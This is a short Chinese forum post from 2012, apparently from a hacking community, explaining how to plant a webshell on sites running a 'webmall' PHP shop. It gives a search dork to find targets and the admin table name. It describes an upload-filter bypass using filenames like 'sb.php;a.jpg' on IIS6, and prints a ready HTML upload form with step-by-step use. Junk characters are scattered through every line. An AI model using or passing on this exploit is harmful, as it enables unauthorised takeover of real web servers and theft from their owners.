关键字：inurl:webmall/detail.php?id3 I* w1 Q4 q3 y9 s3 o- l( l. Z
6 C% ~( K1 V0 x1 k" ], D
数据表：pwn_base_admin% a2 _# ?; p. r6 Y0 [' h X* U
# e6 |! g4 ^1 C! H: N+ W0 X关于拿shell5 ?6 k/ R* S* s$ I% D# E. s0 @* A
7 Y ?0 C: t7 j. b4 A' _3 ?; B首先登录后台admin.php" n5 q" D) V# t, ]% P
* W1 U, i/ j- L& S看了upload.php源码，分析了一个下午，然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件，但是并没有对文件名做限制。
0 r" x$ U& D' r$ c/ {$ I% \. \换句话说，sb.php;a.jpg这样的文件也是允许的，只要服务器是IIS6就拿到webshel，低版本的apache可以试着重命名为sb.php.jpg
3 U4 U, I8 J: d1 e8 |7 q然后搞完了才发现，这里的比我的更精简，我那个蛋疼，膜拜下三石，然后就借用了，我的开始和他的一样是采取全部源码的，然后发现了更精简的
. s& V- Z% X; @7 C$ ?+ P<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php">
- g! g2 @" O* e4 X; J/ b* J<input type="text" name="fileName" value="sb.php;a.jpg" />
, I" w7 e! h5 J j<input type="hidden" name="attachPath" value="news/pics/" />
6 L2 e: Q/ e! \- ?3 j<input type="file" name="fileData" size="14" /></td> & w$ W2 D, s2 Z0 n; A' ?1 t
<input type="submit" name="button" value="确定" /> 3 z3 u" S6 {0 l8 ~ E, M5 s: C
</form>; E6 T4 P( C$ X: e5 }
1 B" D' Z$ |; `+ h3 m
首先登录后台，然后把上面的文件保存为xx.html，修改action，然后再上传，如果为iis6就在上传了查看源码就好了。6 T/ o% v- \5 o2 E( j: R4 J
. n/ ^+ F4 `* w |
发表于 2012-11-9 20:52:15
收藏
支持
反对